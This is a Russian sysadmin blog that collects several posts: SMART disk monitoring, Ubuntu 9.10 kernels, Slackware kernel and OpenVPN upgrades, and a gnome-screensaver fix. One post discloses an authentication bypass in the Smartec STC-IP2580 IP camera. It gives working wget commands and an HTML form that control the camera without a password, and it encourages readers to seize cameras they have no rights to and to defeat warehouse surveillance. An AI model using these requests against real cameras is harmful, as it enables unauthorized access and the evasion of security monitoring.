Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux

 

S.M.A.R.T. — технология самодиагностики и предсказания возможного отказа жесткого диска. Уже много лет встраивается практически во все производимые HDD.

 

Программное обеспечение

 

Основной пакет для работы со smart-данными под linux и под windows — smartmontools. Состоит из программ:

• smartctl — утилита командной строки для:

  просмотра текущих данных smart;
  включения/выключения сбора данных smart;
  запуска тестов самодиагностики диска вручную;

• smartd — демон/системная служба для:

  записи в системный журнал изменений в данных smart;
  уведомления по электронной почте об ошибках smart;
  запуска тестов самодиагностики по расписанию

Дополнительно, для утилиты smartctl есть хороший кросплатформерный фронтенд GSmartControl, рекомендую.

 

Что содержит smart

 

Просмотреть сразу все данные smart устройства /dev/sda можно с помощью команды:

smartctl -a /dev/sda

Эти самые данные состоят из:

1. Общая информация: производитель, модель, серийный номер, версия прошивки и др.

   smartctl -i /dev/sda

2. Дополнительная информация об устройстве. Например, какие тесты диагностики поддерживаются и сколько они занимают времени

   smartctl -c /dev/sda

3. Состояние «здоровья» диска. Представляет собой попытку предсказать отказ жесткого диска в ближайшие 24 часа.

   smartctl -H /dev/sda

4. Smart aтрибуты и их значения. Полный список зависит от конкретной модели диска. Разделяются на:

   • критические — частота возникновения ошибок чтения, количество перемещенных секторов и др.
   • некритические — общее время работы диска в часах и др.

   smartctl -A /dev/sda

5. Журнал ошибок, произошедших во время работы диска.

   smartctl -l error /dev/sda

6. Журнал тестов самодиагностики.

   smartctl -l selftest /dev/sda

Как настроить мониторинг

 

Настройка демона smartd осуществляется через редактирование файла /etc/smartd.conf:

Шаг 1. Найти и закомментировать строчку:

DEVICESCAN

Шаг 2. Для каждого устройства добавить строчку, вида:

/dev/sda -a -s (S/../../(1|2|3|4|5|6)/01|L/../../7/01 -R 194 -m admin@mycompany.ru -M diminishing

Описание используемых опций:

-a

включение большинства возможностей мониторинга: проверка "здоровья" диска, отслеживание изменений всех атрибутов, отслеживание неудачных тестов диагностики.

-s (S/../../(1|2|3|4|5|6)/01|L/../../7/01)

расписание запуска тестов диагностики диска в виде регулярного выражения. В данном случае:
в 1 час ночи c понедельника по субботу будет запускаться краткий тест диска;
в 1 час ночи в воскресенье будет запускаться полный тест диска.

-m admin@mycompany.ru

при возникновении ошибок уведомить об этом письмом по указанному адресу. Для успешной отправки письма должна быть правильно настроена пересылка локальной почты на почтовый сервер. Для этого можно использовать, например, nullmailer.

-M diminishing

периодически повторять отправку письма с сообщениями об ошибке.

Запуск демона smartd осуществляется обычным для вашего дистрибутива образом.

Slackware

Для запуска демона выполнить в командной строке:

smartd

Для автозагрузки демона при старте системы, открыть файл /etc/rc.d/rc.M, найти и расскомментировать в нем следующие строчки:

#if [ -x /usr/sbin/smartd ]; then
#  /usr/sbin/smartd
#fi

Ubuntu

Для разрешения запуска демона smartd, открыть файл /etc/default/smartmontools, найти и расскомментировать в нем следующюю строчку:

#start_smartd=yes

Для запуска демона выполнить:

/etc/init.d/smartmontools start

В случае неуспешного запуска, информация об ошибках содержится в системных журналах /var/log/messages и /var/log/syslog.

Стандартные ядра в Ubuntu 9.10 Karmic Koala

На прошлой неделе вышла в свет очередная версия замечательной операционной системы Ubuntu. В этой статье рассмотрим стандартные ядра включенные в ее состав. Список можно получить с помощью команды:

administrator@ubuntu910:~$ aptitude search linux-image- | grep -v 2.6
p  linux-image-386          - Generic Linux kernel image
p  linux-image-ec2          - Linux kernel image for ec2 machines
i  linux-image-generic      - Generic Linux kernel image
p  linux-image-generic-pae  - Generic Linux kernel image
p  linux-image-rt           - Rt Linux kernel image
p  linux-image-server       - Linux kernel image on Server Equipment.
p  linux-image-virtual      - Linux kernel image for virtual machines

Каждый из этих пакетов является метапакетом, который всегда зависит от самой последней версии конкретной сборки ядра. Не буду унижать читателя описанием того, как устанавливать или удалять пакеты в Ubuntu. Вместо этого кратко рассмотрим возможные варианты.

Generic

Это стандартное ядро для desktop-версии дистрибутива. Соотвественно оно оптимизировано для наилучшей работы прикладных пользовательских программ. Устанавливается по умолчанию, если вы специально не меняли ядро, то у вас работает именно оно. Одинаково хорошо подходит для всех современных (и не очень современных) процессоров Intel и AMD.

Generic-PAE

Нововведение в версии 9.10, и это ядро меня особенно порадовало. Полностью повторяет конфигурацию Generic ядра, за одним исключением — включена поддержка технологии PAE. Технология PAE позволяет использовать до 64 Гб оперативной памяти в 32-х разрядной операционной системе. При использовании обычного Generic ядра проблематично заставить операционную систему увидеть более 3 Гб оперативной памяти. Однако в современных реалиях 4 Гб памяти даже на ноутбуках уже не редкость, не говоря уже про настольные компьютеры, когда и дешевые материнские платы поддерживают 4, 8, 16 Гб памяти. До Ubuntu 9.10 альтернативой было либо использование Server версии ядра, либо ручная пересборка ядра с нужными опциями конфигурации.

386

Еще одна слегка модифицированная версия Generic ядра. Данное ядро собрано с оптимизацией для архитектуры центрального процессора i486, в отличии от Generic ядра где применяется оптимизация под архитектуру i586. Иногда встречается ошибка, когда владельцы процессоров Intel устанавливают данное ядро в надежде, что оно подходит им больше чем Generic. Это не так! Ядро 386 предназначено для очень старых процессоров, старее Pentium Pro, это процессоры выпущенные до 1996 года!

Server

Это стандартное ядро для server-версии дистрибутива. Планировщик процессов, планировщик ввода-вывода, таймеры ядра оптимизированы для серверного применения, т.е. для работы процессов-демонов. Сборка произведена для процессорной архитектуры i686. Также включена поддержка 64 Гб оперативной памяти — технология PAE.

Virtual

Данная версия ядра предназначена для применения когда Ubuntu запускается в виртуализированной среде, например внутри какой-либо виртуальной машины.

EC2

Ещё одно нововведение в Ubuntu 9.10. Это ядро нужно для работы с технологией Ubuntu Enterprise Cloud/Elastic Computing Cloud (EC2). Если вы не занимаетесь этими самыми "облаками", то просто игнорируйте данное ядро.

RT

Версия ядра с патчами для минимизации времени отклика. Попытка сделать из Linux операционную систему реального времени.

Материнская плата ASUS P5QL-EM

1. Возможно для вас важна такая характеристика материнской платы как максимальный объём поддерживаемой памяти. Тогда ни в коем случае не покупайте Asus P5QL-EM. Фактически заявленного объема в 8Гб вам достичь не удасться, только 4Гб. Точнее можно, но для этого нужна особо хитрая специальная память, которой в обычных замкадских магазинах не купишь. До этого момента я полностью доверял компании Asus и раньше она в подобном обмане потребителей замечена не была.
2. На данной материнской плате Ubuntu 8.04 LTS при настройках BIOS по умолчанию не видит SATA-устройств. Чтобы исправить эту ситуацию необходимо в BIOS на вкладке «Main» выбрать пункт «Storage Configuration» и изменить значение параметра «Configure SATA As» c «IDE» на «AHCI». После этого всё устанавливается и загружается нормально, вот такое колдунство.

Обновление ядра slackware из стандартных пакетов

Задача такая: есть продакшн-сервер на Slackwaree 9.1. Необходимо обновить на нем ядро до более-менее современой версии. Как ни жалко расставаться с последним в нашей конторе, верно служившим ядром 2.4-ой версии, но жизнь не стоит на месте.

Самостоятельная сборка пакета с ядром для slackware — задача простая, если знаешь что делать :-). Но я сторонник максимального использования стандартных компонентов, созданных официальным мейнтейнером. А учитывая что ядро это довольно независимая часть от остальной системы, то легко можно использовать стандартные пакеты от старших версий slackware.

Итак, на текущий момент, последняя версия Slackwaree 12.2 с ядром 2.6.27.7 — неплохо. Нам понадобятся следующие пакеты:

kernel-generic-smp-2.6.27.7_smp-i686-1.tgz
kernel-modules-smp-2.6.27.7_smp-i686-1.tgz
mkinitrd-1.3.2-i486-4.tgz

Я выбрал generic-smp версию ядра, как наиболее подходящюю под своё железо. Надеюсь вы нигде не используете huge версии ядер, которые подходят только для начальной установки системы? Подробнее можно прочитать здесь: «Стандартные ядра в Slackware 12». Для установки generic-ядра понадобится утилита mkinitrd. Т.к. в Slackware 9.1 ее нет в стандартных репозитариях, также берем пакет из Slackware 12.2.

Выкачиваем все эти пакеты в какую-либо директорию и выполняем там команду:

installpkg *.tgz

Далее остается настроить загрузчик lilo на использование нового ядра. Как это сделать так же можно прочитать по приведенной выше ссылке.

Всё, после перезагрузки сервера можно наслаждаться каттинг эдж ядром из стандартного пакета на старенькой ОС:

# cat /etc/slackware-version 
Slackware 9.1.0
# uname -sr 
Linux 2.6.27.7-smp

P.S. Надеюсь вы понимаете, что предже чем проделывать всё это на рабочем сервере, необходимо провести эксперимент на тестовом :-)

Программная уязвимость IP камеры Smartec STC-IP2580

Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой Smartec STC-IP2580 часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.

Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:

# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php

Предположим что (это параметры по умолчанию):

• ip-адрес камеры 192.168.1.1
• логин Admin
• пароль 123456

По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:

wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились — для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры — это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:

wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.

Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:

<html>
  <body>
    <form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    >
      <input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN">
      <input type="submit" value="OK">
    </form>
  </body>
</html>

Далее откройте её в браузере, нажмите кнопку «OK» и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)

Хранитель экрана в ubuntu (gnome) не принимает пароль?

В результате неизвестных науке действий около года назад у меня случилось несчастье. А именно, как написано в заголовке, хранитель экрана gnome перестал принимать правильный пароль. С наскоку разобраться не получилось, полная переустановка пакета gnome-screensaver не помогла. В качестве временного решения использовал выход в текстовую консоль и принудительное завершение процесса gnome-screensaver.

Но однажды у меня выдалось немного свободного времени, а также обострилось желание решить эту проблему. Копание в логах дало невнятные сообщения:

maxim@ubuntu610:~$ grep gnome-screensaver /var/log/auth.log
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) could not recover authentication token
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) authentication failure; logname= uid=1000 euid=1000 tty=:0.0 ruser= rhost=  user=maxim

Дальше спросил у великого Google. Пол-часа поисков дало описание проблемы и ее решение на launchpad.net. А именно владелец и группа файла /etc/shadow должны быть соотвественно root и shadow. Если это не так, то следующая команда исправит ситуацию:

sudo chown root:shadow /etc/shadow

После этого проблема была решена.

Обновление OpenVPN до версии 2.1

Зачем это понадобилось? Раньше на маршрутизаторе работал в режиме сервера старенький openvpn-2.0.7 используя протокол udp. Работал он хорошо, но была у него проблемка. Маршрутизатор подключен к нескольким провайдерам и соответственно у него имеется несколько сетевых интерфейсов. Так вот, пока у openvpn-сервера отсутствовали подключения openvpn-клиентов, то первый клиент мог подключится через любой сетевой интерфейс. Но чуть появлялось первое клиентское подключение, то все последующие соединения могли быть установлены только через тот же самый интерфейс, т.е. через того же самого провайдера.

Формулируя другими словами, openvpn сервер версии 2.0 не может принимать клиентские udp подключения через разные сетевые интерфейсы.

Предполагаемые варианты решения:

1. Вместо udp использовать протокол tcp. Но во-первых, существует точка зрения что пропускать протокол tcp поверх протокола tcp это плохо. Во-вторых, хотелось бы избежать изменений в конфигурационных файлах клиентов, потому что их много и некоторые находятся в других городах.
2. Использовать bridging. По непроверенным данным, если несколько сетевых интерфейсов объединить в один мост, данной проблемы не наблюдается. Зато появляются другие, навроде свободного прохождения широковещательных пакетов между клиентами.
3. Обновить openvpn на маршрутизаторе до версии 2.1. В описании новых возможностей прямо говорится о решении данной проблемы: "multihome feature to enable UDP-based multihoming of the server on multiple interfaces". Единственный недостаток, на текущий момент OpenVPN 2.1 имеет статус бета-версии 2.1rc15.

Еще раз подчеркну, что выше перечислены только предполагаемые варианты решения. Фактически был опробован и оставлен в работе только вариант №3.

Подробно не буду останавливаться на процессе компиляции openvpn, т.к. пакетная система для каждого дистрибутива linux своя. Универсальный же способ из configure, make и make install, которым грешат многие статьи, гарантированно превращает вашу файловую систему в помойку. Для используемой у меня Slackware я уже описывал процесс пересборки tgz пакетов, как раз на примере openvpn. Всё что необходимо сделать — это выкачать свежий архив исходников и поменять версию openvpn в slackbuild-скрипте.

Обновление openvpn-сервера в целом прошло гладко. Единственное дополнение пришлось внести в конфигурационный файл openvpn-сервера, для совместимости режима вызова внешних скриптов:

# compatibility with OpenVPN 2.0
script-security 3 system

Клиенты заработали с полностью неизмененными, старыми конфигурационными файлами. Только в логах установки соединения для старых OpenVPN 2.0 клиентов стало появлятся сообщение:

Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:2: topology (2.0.9)

На это сообщение можно смело не обращать внимание до тех пор пока вам не вздумается на сервере OpenVPN 2.1 установить новый параметр конфигурации topology в значение, отличное от значения по умолчанию.

Несмотря на статус бета-версии никаких проблем в работе нового openvpn не наблюдается. Наоборот, новая для OpenVPN 2.1, возможность udp multihome заработала просто прекрасно. Теперь клиенты могут использовать для соединения того провайдера, который им удобнее, дешевле и т.д.

P.S. При сборке пакета для Slackware 9.1 штатный gcc-3.2.3 ниасилил сборку нового openvpn со следующим сообщением об ошибке:

ssl.c:3402:1: directives may not be used inside a macro argument
ssl.c:3401:92: unterminated argument list invoking macro "msg"
ssl.c: In function `key_method_2_read':
ssl.c:3403: invalid type argument of `->'
ssl.c:3408: syntax error before ')' token
make[2]: *** [ssl.o] Error 1

Тут ситуация не совсем понятна. Толи это убогая старая версия препроцессора С, толи разработчики OpenVPN используют приёмы программирования на грани разрешенного. Во всяком случае версия gcc-4.2.4 от новой Slackware 12.2 собрал этот пакет без проблем. Т.к. компилятор языка C написан на языке C, то сначала пришлось скомпилировать пакет с компилятором, обновить пакет gcc, а потом уж компилировать openvpn :)